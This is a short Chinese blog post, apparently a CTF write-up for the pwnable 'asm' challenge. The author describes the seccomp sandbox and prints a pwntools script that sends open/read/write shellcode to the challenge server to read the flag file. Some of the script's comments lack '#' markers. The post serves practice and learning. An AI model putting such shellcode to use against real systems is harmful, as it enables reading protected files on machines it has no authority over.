pwnable_asm(手写shellcode)

pwnable的题目真的是非常非常的好,等我buu做的差不多的时候就去pwnable去练习

题目的例行检查我就不放了

 

 逻辑也很简单,程序告诉我们开启了沙箱,并且要我们通过shellcode的形式去打这道题,可以看到给了s0x1000的空间,这道题我是根据网上的exp去做的

 

from pwn import *
p = remote('node4.buuoj.cn',28202)
context.arch='amd64'

shellcode = ''
shellcode += shellcraft.pushstr('flag')  #通过push将flag文件放入到栈里面
shellcode += shellcraft.open('rsp',0,0)  open打开该文件
shellcode += shellcraft.read('rax','rsp',0x80)  读取0x80个字节到rsp中
shellcode += shellcraft.write(1,'rsp',0x80) #从rsp开始读取0x80个字节
p.sendline(asm(shellcode)) 转换成shellcode
print (p.recvall())

  通过这道题我感觉我的编写shellcode的水平远远不足以后需要多多练习

 

 结束

注:编写shellcode的几种姿势 - marklove - 博客园 (cnblogs.com)

便于以后学习

posted @ 2022-01-13 15:16  庄周恋蝶蝶恋花  阅读(463)  评论(0)    收藏  举报